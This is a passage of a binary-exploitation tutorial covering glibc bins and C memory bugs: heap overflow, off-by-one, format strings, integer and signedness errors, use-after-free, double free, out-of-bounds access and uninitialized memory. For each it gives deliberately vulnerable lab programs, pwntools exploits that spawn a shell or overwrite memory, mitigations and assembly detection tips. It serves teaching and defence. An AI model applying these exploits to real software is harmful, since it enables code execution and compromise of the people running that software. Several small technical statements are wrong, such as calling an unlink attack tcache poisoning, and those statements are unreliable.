A bin is a list of free chunks that glibc keeps at hand to recycle them. Rather than asking the system for memory again at each malloc, glibc look if he already have a free chunk of the right size in a bin. It's just a cache.

There are several bins sorted by size to find fast : (array generated by Opus 4.8)

Bin For which sizes Behavior
tcache small (≤ 0x408) 1 list per size, LIFO, fast. Target no.1 in modern CTF (glibc ≥ 2.26)
fastbins small (≤ 0x80) LIFO, very fast, singly linked list
unsorted bin all « buffer » temporary before sorting → used to leak a libc address
small bins medium lists per size, doubly linked
large bins big lists sorted by size

If by an overflow you manage to corrupt the "fd" of a free chunk, you lie to glibc about where is the next free chunk and get a arbitrary write where you want.

Overwrite data in the heap

char *buf = malloc(16);
strcpy(buf, argv[1]);
In this example 16 bytes have been reserved for "buf", but the size of argv[1] isn't controlled which create a heap overflow situation.

This vulnerability can first of all allow overwriting of data present in the heap :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(){
  char  *arg = malloc(0x20);
  char  *cmd = malloc(0x400);
  setreuid(geteuid(), geteuid());

  strcpy(cmd, "/bin/ls -l ");
  gets(arg);

  strcat(cmd, arg);
  system(cmd);

  return 0;
}
pwndbg> disass main

   [...]
   0x00000000004011d4 <+94>:    call   0x401050 <gets@plt>
   0x00000000004011d9 <+99>:    mov    rdx,QWORD PTR [rbp-0x18]
   0x00000000004011dd <+103>:   mov    rax,QWORD PTR [rbp-0x20]
   0x00000000004011e1 <+107>:   mov    rsi,rdx
   0x00000000004011e4 <+110>:   mov    rdi,rax
   [...]

pwndbg> b *0x00000000004011d9 # We place a breakpoint right after the get
Breakpoint 1 at 0x4011d9

pwndbg> run
AAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW # We enter the detection character string.

[...]

pwndbg> set max-visualize-chunk-size 0x500
Set max display size for heap chunks visualization (0 for display all) to 1280.

pwndbg> vis-heap-chunks 500

[...]
0x18931270      0x0000000000000000      0x0000000000000000      ................
0x18931280      0x0000000000000000      0x0000000000000000      ................
0x18931290      0x0000000000000000      0x0000000000000031      ........1.......
0x189312a0      0x4141414141414141      0x6766656463624141      AAAAAAAAAAbcdefg
0x189312b0      0x6f6e6d6c6b6a6968      0x7776757473727170      hijklmnopqrstuvw
0x189312c0      0x46454443427a7978      0x4e4d4c4b4a494847      xyzBCDEFGHIJKLMN
0x189312d0      0x565554535251504f      0x0000000000200057      OPQRSTUVW. .....
0x189312e0      0x0000000000000000      0x0000000000000000      ................

Since arg was allocated using malloc(0x20), it has 32 bytes available for user data. The string AAAAAAAAAAbcdefghijklmnopqrstuvw contains exactly 32 characters and completely fills this buffer. Any input exceeding 32 characters will begin overwriting the contents of cmd, illustrating a heap overflow.

pwndbg> run
AAAAAAAAAAbcdefghijklmnopqrstuvw

[...]
0x1766f290      0x0000000000000000      0x0000000000000031      ........1.......
0x1766f2a0      0x4141414141414141      0x6766656463624141      AAAAAAAAAAbcdefg
0x1766f2b0      0x6f6e6d6c6b6a6968      0x7776757473727170      hijklmnopqrstuvw
0x1766f2c0      0x0000000000000000      0x0000000000000411      ................
0x1766f2d0      0x20736c2f6e69622f      0x0000000000206c2d      /bin/ls -l .....
0x1766f2e0      0x0000000000000000      0x0000000000000000      ................
0x1766f2f0      0x0000000000000000      0x0000000000000000      ................
We also observe an empty 16-byte space between the two entries; we will therefore fill 16 bytes with padding after our 32-byte string, and then we will be able to modify the command.
from pwn import *

payload = (
    b"AAAAAAAAAAbcdefghijklmnopqrstuvw"
    + p64(0)
    + p64(0)
    + b"random ; /bin/bash ; echo"
)

p = process("./chall")
p.send(payload)
p.interactive()
python3 solve.py
[+] Starting local process './chall': pid 17757
[*] Switching to interactive mode
$ ls
sh: 1: random: not found
$ ls
chall  chall.c  solve.py
$ WE GOT A SHELL !

To prevent heap overflows, always check the buffer size before performing any copy operation ; prefer bounded versions (like snprintf or strncat) and never trust the size of input data.

Example of vulnerable code :

char buf[16];
char input[100] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

strcpy(buf, input);

Safe version :

if (strlen(input) < 16){
    strcpy(buf, input);
}

snprintf(buf, 16, "%s", input); // safe print function that display only 16 octets

How do you spot a heap overflow in assembly code if you don't have the high-level source code ?

mov edi, 16
call malloc
mov rbx, rax ; rbx = ptr on buff

mov rdi, rbx        ; rdi -> buff
mov rsi, [input]    ; rsi -> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
call strcpy         ; rsi -> rdi -> rbx -> buff

Safe version :

; where rdx = input size
cmp rdx, 16
jae error ; jmp if above or equal

Off-by-one

Off-by-one occurs when a program writes exactly one byte beyond the end of a buffer due to an incorrect boundary check.

The most common causes are: - using <= instead of < in a loop - forgetting to allocate space for the null terminator - copying length + 1 bytes instead of length

It's quite common because typically this code looks secure :

// stack based off by one
char *buf = malloc(16);

for (int i = 0; i <= 16; i++) {
    buf[i] = input[i];
}

But since in computing we start at 0 and so the spaces available in theory in the buffer are from 0 to 15, the fact that we can write at index 16 (<= 16) causes a buffer overflow of +1.

This type of bug also happens on the heap :

// heap based off by one
char *buf = malloc(strlen(input));
strcpy(buf, input);

It's very tricky because strlen returns the number of characters without counting the null terminator. So if input contains 20 characters, buf will have allocated 19. And during the copy of the user input there will be one character too many the null terminator "\0" that will be stored beyond the buffer.

The direct consequence of this bug consists of corrupting the first byte of the header of the memory space placed below.

To spot it in assembly :

xor ecx, ecx

loop:
    cmp ecx, 16
    jle copy_byte ; here jle is the issue (jmp if less than or equal)
                  ; we need to use jl instead

jmp end

copy_byte:
    do_something ;
    ; increment
    jmp loop;

end:
    ...

Format string

The functions that allow to display text in low level languages use specifiers (%d, %s, %x, %n) that allow to pass as parameter data and notably user inputs.

printf("%s", user_input);

The problems arrive when the user input is directly placed in printf without being parameterized :

printf(user_input);

So the attacker can place in user_input characters that allow to manipulate the program ; In reading :

  • %x, %p : display the content of the stack (bypass ASLR)

  • %s : interprets a value of the stack as a pointer and dereferences allows the arbitrary reading of memory (or the DOS)

For example if we take the this code snippet :

#include <stdio.h>
int main(int argc, char *argv[]){

    FILE *password = fopen(".asecretfile", "rt");
    char buffer[32];
    fgets(buffer, sizeof(buffer), password);

    printf(argv[1]);

    fclose(password);

    return 0;
}
/*
gcc code.c -o code -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -O0
*/

If we compile it for x64, we can easily retrieve the secret value :

pwndbg> b *0x00000000004011aa   # BREAKPOINT just on the printf function
Breakpoint 1 at 0x4011aa

pwndbg> run AAAAAAAAAAAAAA   # Run it with a value
Starting program: /workspace/code AAAAAAAAAAAAAA

[...]

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffccf543af0 —▸ 0x7ffccf543c48 —▸ 0x7ffccf5441df ◂— '/workspace/code'
01:0008│-038 0x7ffccf543af8 ◂— 0x200000000
02:0010│-030 0x7ffccf543b00 ◂— 'HELLLOOOOOOO\n'     # As we can see the value of the .asecretfile is stored in 0x7ffccf543b00
03:0018│-028 0x7ffccf543b08 ◂— 0xa4f4f4f4f /* 'OOOO\n' */
04:0020│-020 0x7ffccf543b10 ◂— 0
05:0028│-018 0x7ffccf543b18 —▸ 0x706752a18fc0 (dl_main) ◂— push rbp
06:0030│-010 0x7ffccf543b20 ◂— 0
07:0038│-008 0x7ffccf543b28 —▸ 0x79052a0 ◂— 0xfbad2488


pwndbg> x/50xw $sp  # And this addresse start at the 8 bytes of the stack
0x7ffccf543af0: 0xcf543c48      0x00007ffc      0x00000000      0x00000002
0x7ffccf543b00: 0x4c4c4548      0x4f4f4f4c      0x4f4f4f4f      0x0000000a
0x7ffccf543b10: 0x00000000      0x00000000      0x52a18fc0      0x00007067
0x7ffccf543b20: 0x00000000      0x00000000      0x079052a0      0x00000000
0x7ffccf543b30: 0x00000002      0x00000000      0x5282624a      0x00007067
0x7ffccf543b40: 0xcf543c30      0x00007ffc      0x00401156      0x00000000
0x7ffccf543b50: 0x00400040      0x00000002      0xcf543c48      0x00007ffc
0x7ffccf543b60: 0xcf543c48      0x00007ffc      0x8b454ab6      0xf1a7ed59
0x7ffccf543b70: 0x00000000      0x00000000      0xcf543c60      0x00007ffc
0x7ffccf543b80: 0x004030f0      0x00000000      0x52a30020      0x00007067
0x7ffccf543b90: 0xfdc14ab6      0x0e5e73f1      0x4f454ab6      0x1169485d
0x7ffccf543ba0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffccf543bb0: 0x00000000      0x00000000

./code '%8$lx'                                                                   
4f4f4f4c4c4c4548    # OOOLLLEH

And in writing :

  • %n writes the number of characters already displayed at the address pointed by the corresponding argument

Here is an example on how to write with format strings vulnerability.

Giving the following challenge :

// Challenge generated by Opus 4.8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int secret = 0xdeadbeef;

void win(void) {
    puts("You win");
}

int main(void) {
    char buf[128];
    printf("Secret is at: %p\n", &secret);

    while (1) {
        printf("Input: ");

        if (!fgets(buf, sizeof(buf), stdin))
            break;

        buf[strcspn(buf, "\n")] = '\0';

        printf(buf);

        if (secret == 0x1337) {
            win();
        }
    }
    return 0;
}

The reason why we can write through a format string vulnerability is because "%?$n" writes at the address present at the "?" offset (the ?th argument of the format string provided to printf) the number of characters already displayed.

"%n" writes 4 bytes (an int) at once. %hn writes 2 bytes (a short) and allows us to split it into two (hhn = 1 bits). Here, since the value to write is small (0x1337 = 4919 in decimal), we are going to use %n directly on 4 bytes. There is no need to split it.

The payload will be composed as follows :

(address of "secret") +

(padding allowing us to control the value) + 

(%?$n which writes to the address present at the ?th offset of the format string the number of characters already displayed)

So we have 3 variables to find :

  • address of secret: the challenge gives it to us: 0x804c008, in 32-bit little-endian this gives: \x08\xc0\x04\x80

  • padding: the address is 4 characters long, 4919 - 4 = 4915. We need to write 4915 additional characters. For that we can use:

    %4915x which tells printf: "display the next argument in hex with a width of 4915 characters". 
    
    printf will therefore take any value from the stack and display it over 4915 characters, which makes the counter reach 4919.
    

  • offset of the address of secret

    ./code                     
    Secret is at: 0x804c008
    Input: AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
    AAAA.804a058.ed313620.0.41414141.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78
    
    Here we can see that AAAA, which is displayed by the format string, is stored on the argument stack at the 4th position (41414141).

This gives us the following payload:

\x08\xc0\x04\x80 + %4915x + %4$n

from pwn import *

p = process('./code')

p.recvuntil(b'Secret is at: ')
secret_addr = int(p.recvline().strip(), 16)
log.success(f"secret @ {hex(secret_addr)}")

offset = 4
padding = 4915
payload = p32(secret_addr) + f"%{padding}x".encode() + f"%{offset}$n".encode()

p.sendline(payload)
p.interactive()
python3 exploit.py
[+] Starting local process './code': pid 7236
[+] secret @ 0x804c008
[*] Switching to interactive mode

[here the padding]

You win

$ echo "hello"
hello

Here is how to detect it in assembly : if the user input is in the first argument of the printf function, this is vulnerable.

lea rax, [rbp-0x100] ; where rbp-0x100 is the adresse of the buffer

mov rdi, rax ; first argument of printf function = user input

xor eax, eax
call printf ; call printf with the raw user input

If we use "printf("%s", user_input);" instead :

lea rdi, [rip+.LC0] ; first argument = "%s"

lea rsi, [rbp-0x100] ; second argument = user buffer

xor eax, eax
call printf ; here is a safe printf

.LC0:
    .string "%s"

Integer overflow / underflow

Since int and unsigned int have a defined number of bits on which we can encode a number, if we exceed the biggest number that it is possible to encode, we come back to the opposite point of the cycle.

Exemple :

unsigned int max input = 2147483647

  uint var1;
  uint var2;
  uint res;

  var1 = scanf("%d", &nombre);

  var2 = scanf("%d", &nombre);

  res = var2 + var1;

  if ((var1 < 0) || (var2 < 0)) {
    printf("The number can't be < 0")
  }
  else if ((int)res < 0) {
    print("You win")
  }

So here if we enter 2147483647 as var1 and 1 as var2, the result will be "-2147483647".

In this example it's a simple ctf like, but it can have terrible consequences for example when a stock market software, affected by this bug, dropped to 0 after reaching the maximum size of the integral (cf : https://www.theregister.com/software/2021/05/07/nasdaqs-32-bit-code-cant-handle-berkshire-hathaways-monster-share-price/894175)

Good to know that the same problem can happen with negative numbers :

-2147483647 - 1 = 2147483647

This can affect all the data types (char, long etc...) but it's often for int that it causes problem.

To avoid this we can check at each critical operation that the result is not inconsistent. There are even built_in functions for this case :

int result;

if (__builtin_add_overflow(a, b, &result)) {
    // Overflow occurred
}

To detect this in assembly it's when additions are done without using the "jo" instruction that allows to "jump" to an address if the previous operation activated the flag "OF" that is to say an overflow on the signed integer or not :

add eax, esi
; this can lead to integer overflow

This one is safe :

add eax, esi
jo overflow ; jmp if overflow
ret

overflow:
    ; handle error

Signedness errors

When we encode a number into a variable, the interpretation differs depending on its type.

For example this two variables :

int var_a = -1
uint32_t var_b = 4294967295
... have the same hexadecimal representation: 0xFFFFFFFF, but since one is a signed integer and the other an unsigned integer 32, the interpretation is not the same and errors in programs can cause bugs during the transition between types or their use.

For example:

int len;
scanf("%d", &len);

if (len < 1024) {
    read(0, buf, len); // read(int fd, void *buf, size_t count);
}
Since the 3rd parameter "count" is of type size_t (an unsigned integer), if we put -1 in len, read will read much more than 1024. Because the "if" interprets it as a signed integer, and the "read" as an unsigned integer.

This situation can create a buffer overflow :

char buf[10]; // 10 bytes are allocated

int len;
scanf("%d", &len); // we get the size of the input from the user

if (len < 10) { // we check if the user has not requested more than 10 bytes
    read(0, buf, len); // ssize_t read(int fd, void *buf, size_t count);
}

To spot it in assembly we have to look for a signed comparison :

jl, jg, jge, jle

Then an unsigned use. Or a mix between "movsx" (with sign) and "movzx" (without sign).

Here is an example :

; where input of the buffer is in eax
cmp eax, 1024
jge input_to_long ; if (len >= 1024) signed comparison

; read function preparation
mov edi, 0
lea rsi, [buf]

movsxd  rdx, DWORD PTR [rbp-4] ; implicit conversion to unsigned
call    read

To prevent this vulnerabilities we need to get an unsigned user input if we want to use it as an unsigned argument :

size_t len;
scanf("%zu", &len);

if (len < 1024) { // the assembly code will manage an unsigned comparison "jae"
    read(0, buf, len);
}

Or we can simply check if the integer is > 0 at the comparison :

if (len >= 0 && len < 1024) { // cmp eax, 0 AND jl (jump if lower) + cmp eax, 1024 AND jge jump if larger)
    read(0, buf, len);
}

Type truncation

This type of vulnerabilities occurs when a value stored in a data type is copied to a smaller data type (from long to int for example). In this type of opperation the most significant bytes are deleted. This behavior can create behavior similar to signedless errors.

long var = 4294967296; # 0x0000000100000000
    var --> int =  0; # 0x00000000 (the high 32 bits disappear)

void check(int n) {
    if (!n) {
        printf("this should never be called");
    }
    else{
       printf("OK");
    }
}

int main(void) {
    long int a;
    scanf("%ld", &a);
    if (a == 0) // check on 64 bits
        printf("Bad");
    else
        check(a); // check on 32 bits
    return 0;
}
./prog
4294967296
this should never be called

It's quite easy to see in assembly when we go from a 64 bit register to a 32 bit register :

; where rax = 4294967296

mov eax, rax ; keeps only the 32 low order bits

test eax, eax ; if eax != 0
jz  this_should_never_be_called

exit:

this_should_never_be_called:

To avoid this behavior, if a conversion is really necessary we must check that the value has not changed after the copy :

long value = 456;
int x = (int)value;

if ((long)x != value) {
    // truncation detected
}

Use-after-free

Use-after-free (UAF) vulnerabilities arise when a program continue to use a pointer to a memory area in the heap that have been freed (with free() or delete()).

char *a = malloc(0x20);

strcpy(a, "data");

free(a);

printf("%s\n", a);

This problem can cause a crash, but even worse, it can be exploited to modify the program's behavior :

char *is_admin = malloc(0x20);
strcpy(is_admin, "no");

free(is_admin);

char *other_var = malloc(0x20);
read(0, other_var, 0x20); // The attacker will enter "yes".
Since this new memory area requested by "other_var" is the same size as the one previously allocated to "is_admin", it is very likely that the allocator will reuse the same space (cf : memory management in the heap in the previous chapter).

And if later in the code is_admin is re-used and trusted :

if (strcmp(is_admin, "yes") == 0){
    do_a_flip();
}

Attacker is now admin !

Here so that the comparison is validated I had to use pwntools in order to specify a null terminator :

void do_a_flip(){
    printf("oh my gahhhhh");
}

int main(void) {
    char *is_admin = malloc(0x20);
    strcpy(is_admin, "no");

    free(is_admin);

    char *other_var = malloc(0x20);
    read(0, other_var, 0x20); // The attacker will enter "yes".

    printf("is_admin : %p\n", (void *)is_admin);
    printf("other_var: %p\n", (void *)other_var);

    if (strcmp(is_admin, "yes") == 0){
        do_a_flip();
    }
}
# cat exploit.py 
from pwn import *

p = process("./uaf")

p.send(b"yes\x00")

print(p.recvall())

# python3 exploit.py        
[+] Starting local process './uaf': pid 1897
[+] Receiving all data: Done (65B)
[*] Process './uaf' stopped with exit code 0 (pid 1897)
is_admin : 0x5ae67a1722a0
other_var: 0x5ae67a1722a0
oh my gahhhhh

To avoid this type of vulnerability we have to set the pointer to Null to create a dangling pointer. Here is an example :

strcpy(is_admin, "no");
free(is_admin);
is_admin = NULL;

And the corresponding assembly code :

mov rdi, rbx ; where rbx is the register that contain the memory address
call free ; free function wait the addresses to free in the rdi register

xor rbx, rbx ; rbx = NULL

And her is the vulnerable version :

mov rdi, rbx
call free

mov eax, [rbx] ; <-- UAF

Double free

To really understand the double free vulnerabilities and the related possibility of exploitation we have to visualise the list of free chunk in tcache (cf : heap exploitation ; explanation on memory in heap)

Normal flow :

Tcache is in the heap, but to make it more visual, we'll display it separately.

Code :

char *a = malloc(0x40);
Heap :
Addr    Var     Value
0x100   a
Tcache :
empty

Code :

free(a);
Heap :
Addr    Var     Value
0x100           8 first bytes = Addr of the next free chunk ; here as there is no other chunk it point on NULL
Tcache :
Stack (LIFO) :   [ A(0x100) ]

Code :

char *b = malloc(0x40);
Heap :
Addr    Var     Value
0x100   b 
Tcache :
empty

Double free case :

Code :

char *a = malloc(0x40);
free(a);
free(a);
Heap :
Addr    Var     Value
0x100           8 first bytes = Addr of the next free chunk
                in this case as we double free a, this 8 bytes point to 0x100 
Tcache :
Stack (LIFO) :   [ A(0x100) -> A(0x100) ]

When the allocator will want to reuse this space, it will assign the location to 0x100 twice :

char *x = malloc(0x40);   // unstack the 1st x = 0x100
char *y = malloc(0x40);   // unstack the 2nd y = 0x100

The variables y and x are in the same memory location.

That's great, but in certain situations you can do much more by writing whatever you want to any variable.

Overwrite any variables

char *is_admin = "no";

char *a = malloc(0x40)
free(a);
free(a);
Tcache Stack (LIFO) :   [ A(0x100) -> A(0x100) ]

char *x = malloc(0x40); // the first tcache addr is pop
Tcache Stack (LIFO) :   [ A(0x100) -> value_of_x ]
read(0, x, 0x40);

// Here the user enter the address of the target address whose value they want to change.

// address of is_admin = 0X4321
Tcache Stack (LIFO) :   [ A(0x100) -> 0X4321 ]

We unstack the Stack (LIFO) :

char *y = malloc(0x40);
Tcache Stack (LIFO) :   [ 0X4321 ]

char *user_controlled_data = malloc(0x40); // point to &is_admin address
read(0, user_controlled_data, 0x40); // write "yes" in is_admin !

The attacker can write anything on the "is_admin" address !

This kind of exploitation technique is impossible in the modern versions of glibc :

In the versions of glibc >= 2.29 tcache detects the double free by adding for each entry a "key" parameter (in the metadata of the memory) : when a chunk (memory block) is freed and placed in the tcache, glibc writes the address of the tcache_perthread_struct structure at the place where the bk pointer would normally be.

If the same chunk is freed a second time, glibc observes that the key of the entry is already initialized in the current tcache.

To bypass this protection we must either corrupt the key (modify the content of this chunk after it has been freed, but before freeing it a second time ; so a precise case of UAF or a Heap buffer overflow); or fill the tcache to switch to fastbin* which does not have this type of security.

*fastbin still has some security but less effective for performance reasons.

In glibc >= 2.32 some "Safe-Linking" was added which encrypts the next pointer with other data. We need a heap leak to compute the address to write.

As a reminder, a linked list is formed by the free chunks, the information of the next chunk and of the previous one in the list is carried by the metadata bf and fd (at the very place where the data was originally) :

A <--> B <--> C
Let's imagine that we want to reuse chunk B (because its size fits well for a new allocation), we will have to do an unlink operation :
B->fd->bk // C->bk = A
B->bk->fd // A->fd = C

To arrive at this state :

A <--> C

The issue if we unlink like this (which the first versions of glibc did), is that with a UAF, we can rewrite on the data of B. And so if we put on the fd of B an address that we want to overwrite and on the bk what we want to write there. We arrive at an arbitrary write in memory.

During the unlink process, the program will go to the address indicated on the memory space at the fd address to write there bk at the location of fd (that is to say as a reminder at the location of the data when the location is outside the list of free chunks), normally it does this to update chunk C (in our example).

Initial state :

A fd : &B
A bk : null
-----------
B fd : &C
B bk : &A
-----------
C fd : &null
C bk : &B

After unlink :

A fd : &B
A bk : null
-----------
-----------
C fd : &null
C bk : = the bk of B = &A

Case during the attack

State after overwrite :

A fd : &B
A bk : null
-----------
B fd : 0x45264800  <---- During the unlink 0xdeadbeef is written here
B bk : 0xdeadbeef
-----------
C fd : &null
C bk : &B

*By the way the linked list is broken so it can crash (we can surely overwrite C too to manually fix the chain).

This is what we call a tcache poisoning. To fix this problem glibc added the safe unlinking where we check that the fd of the removed chunk points well to the next chunk and bk to the previous one.

And a series of exploitation and countermeasure put in place by glibc led to this series of exploit called "House of (Force, Spirit, Einherjar, etc...). Globally (it's a complex subject and there will be no demo here for now) :

Copy past from Opus 4.8 :

House of Spirit: We pass "free" to a pointer we control to insert a fake chunk, created from scratch, into a fastbin (or tcache) in a controlled area (often the stack). A subsequent "malloc()" call returns this fake chunk and provides a write primitive for that area.

House of Force: We overwrite the size field of the top chunk (the wilderness) with an enormous value like -1. This allows us to then use an arbitrarily large "malloc()" call to move the top chunk pointer anywhere in memory. The next allocation then returns a pointer to the desired address.

House of Einherjar: We exploit a single null byte overflow (off-by-one) to clear the PREV_INUSE bit of the next chunk and forge a fake "prev_size". This causes "free()" to trigger a backward consolidation that merges onto a controlled fake chunk, creating an overlap or an arbitrary pointer.

Dangling pointers

All the use-after-free and double-free vulnerabilities are related to dangling pointer.

A dangling pointer is a pointer that points to a memory area that is no longer valid. The address is still stored in the pointer, but what it references no longer exists :

char *p = malloc(16);
free(p);
                // p is now "dangling"
*p = 'A';

The use-after-free consists of reusing a pointer, and the double-free involves re-freeing the space.

To avoid this issue, when you release a memory space, you should also set the pointer to NULL :

free(p);
p = NULL;

All this case are about the heap, but this type of issue can also arise on the stack :

int *random() { // return a ptr on a int
    int x = 56;
    return &x; // The memory address of x is returned, but it is no longer reserved for it at the end of the function.
}

int main(){
    int *p = random();
    printf("%d\n", *p); // Can display 56 but can also display other random thing.
}

But the dangling pointer on the stack is much less exploitable than on heap.

Null pointer dereference

In the previous chapter I said that we could set the pointer to NULL :

If p is re-used :

printf("%d\n", *p);

The program will crash (or at least generate an error); this mitigates the UAFs but still corresponds to a vulnerability. Among other things, this can cause a DoS attack, but also more in old operating systems where address 0 (which NULL points to) can be mapped (potentially with data controlled by the attacker).

Today, mmap_min_addr protection prevents mapping low addresses (and there are also processor-side restrictions).

There is also another associated risk: compiler optimizations of the "Undefined behavior" type. In fact, if p is reused (dereferenced), the compiler will consider that the rest of the execution flow cannot handle this type of case :

if (p != NULL){
    do_a_flip();
}

And so, to optimize it, it will remove the condition:

do_a_flip();

Out-of-bounds read/write

Out-of-Bounds vulnerabilities arise when the binary read or write a memory address outside of the allocated boundaries of an array or a buffer. In C/C++ they are no automatic verification like in python. Here if "i" is to big or to small it will gain access to arbitrary memory :

array[i]

A classic overflow writes linearly and contiguously beyond a buffer (often via strcpy or gets). An out-of-bounds (OOB) access via an index provides relative and often controlled access (array[idx]).

Here is an example with user controled data :

int array[10];

int index;
scanf("%d", &index); // can be -8 or 1000

array[index] = value; // write data on arbitrary memory

scanf("%d", array[index]); // or read data on arbitrary memory

In the case where we can read, we can : - bypass ASLR/PIE (cf : protections) - leak a canary (cf : protections) - leak a secret

In the case where we can overwrite : - a function pointer - GOT - a return address - heap metadata

A common mistake consists of validating the positive size but not the negative :

if (idx > 10) { 
    error(); 
}
arr[idx] = value; // -30 bypass the filter and write in the array

There is also some common confusion based on the unsigned/signed paradigm :

int idx;
scanf("%d", &idx);

if (idx >= size) { // compared in signed format
    error();
}
// but use as unsigned later
// so -1 become 0xFFFFFFFF (4294967295)

An error directly related to an integer overflow during an operation :

long array[16] // 16 long elements = 128 bytes

unsigned int idx;
printf("index: "); scanf("%u", &idx);

if (idx * 8 < 128){
    array[idx] = val;
}

// here if idx = 536870912, 536870912 * 8 = 4294967296
// 4294967296 overflow the unsigned integer so it become 0x0000000, the test pass 

And also an element size mismatch, where the bound is expressed in the wrong unit:

long array[16]; // 16 longs in the array = 128 bytes
unsigned int idx;
scanf("%u", &idx);

if (idx < sizeof(array)) {   // sizeof(array) = 128, not 16 elements
    array[idx] = val;        // idx = 100 passes the check...
}

How to exploit OOB for reading

The reason we leak data in memory is mainly to bypass ASLR (Address Space Layout Randomization), which places the different memory zones at random base addresses on each execution (libc, the stack, the heap, etc.).

Here we talk about the virtual memory given to the process. It is not only the order of the blocks that changes, but really their base address, which can create big empty holes of padding. However the order of the elements inside these zones does not change, which is exactly what lets us find our way.

Indeed, if we manage to read the GOT (cf : How does the program call the printf function ? (GOT/PLT)), we can get the address of the libc functions in the current execution. This is essential to get a shell for example, because in protected binaries the stack is no longer executable, so we must reuse the code that already exists in libc, for example to build system("/bin/sh").

The position of the GOT relative to the array (before/after) is fixed by the linker and does not change from one execution to another ; ASLR moves the base of the binary as one block without reordering its content. So if the primitive only allows a negative index (or positive), we are limited to the targets on that side ; restarting the binary will not change this order.

Let's take this program :

#include <stdio.h>
#include <stdlib.h>

// The reason we put this outside of main is to find it more easily on the program symbol for the demo
void *array[4];

int main(void)
{
    setbuf(stdout, NULL);

    /* Resolution of puts in the GOT table */
    puts("OOB demo");

    printf("array = %p\n", (void *)array);

    printf("index = ");

    long index;
    if (scanf("%ld", &index) != 1)
        return 1;

    printf("value = %p\n", array[index]);

    return 0;
}
/*
gcc -Wall -Wextra -O0 -fno-stack-protector -no-pie -Wl,-z,relro -o oob_read oob_read.c
*/

If we want to bypass ASLR and leak libc via an OOB read that allows a negative index, we will start by getting the address of the put entry in the GOT table (which contains the real address of put in the libc) (hoping that it has already been resolved which is the case in our C code).

We will also get the address of our array :

from pwn import *

context.binary = elf = ELF("./oob_read", checksec=False)
context.log_level = "info"

io = process(elf.path)

array_addr = elf.symbols["array"]
puts_got = elf.got["puts"]

log.info(f"array    = {hex(array_addr)}")
log.info(f"puts@GOT = {hex(puts_got)}")
[*] array    = 0x404060
[*] puts@GOT = 0x404000

Once we have these addresses we try to know which index we have to put to our array to reach it, knowing that each index points to an element of 8 bytes :

puts@GOT - array
0x404000 - 0x404060
= -0x60

As each element of the array is 8 bytes, we will divide the result by 8 (to know how many "index" we are from puts@got) :

-0x60 / 8
= -0xc
= -12

Once we have all these elements it is enough to read the address :

index = -12

io.sendlineafter(b"index = ", str(index).encode())

io.recvuntil(b"value = ")
leaked_puts = int(io.recvline().strip(), 16)

log.success(f"leaked puts = {hex(leaked_puts)}")
[+] leaked puts = 0x70c0e5e5e980

How to exploit OOB for writing

If we take an equivalent program but instead of displaying we write :

// Generated by Opus 4.8
#include <stdio.h>
#include <stdlib.h>

long array[4];
long target = 0; // we want to overwrite target

int main(void)
{
    setbuf(stdout, NULL);

    printf("target = %ld\n", target);
    printf("index = ");

    long index;
    if (scanf("%ld", &index) != 1)
        return 1;

    printf("value = ");

    long value;
    if (scanf("%ld", &value) != 1)
        return 1;

    array[index] = value;

    printf("target = %ld\n", target);

    return 0;
}

It's almost more powerful than a buffer overflow because we can write what we want where we want :

# Generated by Opus 4.8
from pwn import *

context.binary = elf = ELF("./oob_write", checksec=False)

io = process(elf.path)

array_addr = elf.symbols["array"]
target_addr = elf.symbols["target"]

log.info(f"array  = {hex(array_addr)}")
log.info(f"target = {hex(target_addr)}")

index = (target_addr - array_addr) // 8

log.info(f"OOB index = {index}")

io.sendlineafter(b"index = ", str(index).encode())
io.sendlineafter(b"value = ", b"1010")

print(io.recvall().decode())

io.close()
[*] array  = 0x404060
[*] target = 0x404080
[*] OOB index = 4
target = 1010

Uninitialized memory (info leak)

As a reminder, when allocating or freeing memory on the heap, the behavior depends on the organization of bins (tcache, fastbins etc...). A freed chunk is generally not zeroed out before being reused, which can lead to reads of uninitialized memory.

On the stack, local variables are automatically allocated upon entering a function, and the stack pointer is simply moved to make them available. When the function terminates, this memory area is considered free, but its contents are generally not erased.

When the variable is declared, its value may initially appear random, but it is often a leftover value that previously occupied that memory location.

This can make it possible to retrieve secret information from the program :

// read-before-write in heap
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    char *secret = malloc(32);
    strcpy(secret, "ASUPERSECRETNOTTOLEAKPLZ");

    free(secret);

    char *buf = malloc(32);
    write(1, buf, 32);

    return 0;
}
./test 
��OLEAKPLZ

// read-before-write in stack
#include <stdio.h>
#include <unistd.h>
#include <string.h>

void save_secret(void)
{
    char password[32];

    strcpy(password, "ASUPERSECRETNOTTOLEAKPLZ");
}

void leak(void)
{
    char buffer[32];

    write(1, buffer, sizeof(buffer));
}

int main(void)
{
    // the two variables (buffer and password) are placed in different functions so they do not coexist.
    save_secret();
    leak();
}
 ./test 
ASUPERSECRETNOTTOLEAKPLZ

Or generate unexpected behaviors:

void do_a_thing(void)
{
    int hello = 1;
}

void check_if_user_is_admin(void)
{
    int is_admin; // The developer believes the default value is != 1

    if (is_admin == 1) {
        printf("You are admin");
    }
}

int main(void)
{

    do_a_thing();
    check_if_user_is_admin();
}
./test 
You are admin

If you see in assembly a read from the heap :

; malloc() returned a pointer in RAX
mov rdi, rax
mov al, BYTE PTR [rdi] ; the memory space is read just after the reservation on the heap

from a memory space that haven't been initialized like that :

mov BYTE PTR [rdi], 0 ; initialization of the first byte with 0 (calloc)

This is probably the sign of an uninitialized memory vulnerabilities.

To avoid this, you can use calloc, for example:

calloc(64,1);
// here the allocated memory will be set to 00 00 00 00 ... (in hexa)
// this create the assembly code mentioned just before

In the stack, the best practice is to explicitly initialize local variables when declaring them.

Type confusion

When a program treats an object of one type as if it were of another incompatible type.

class A {
    public: int x;
};

class B {
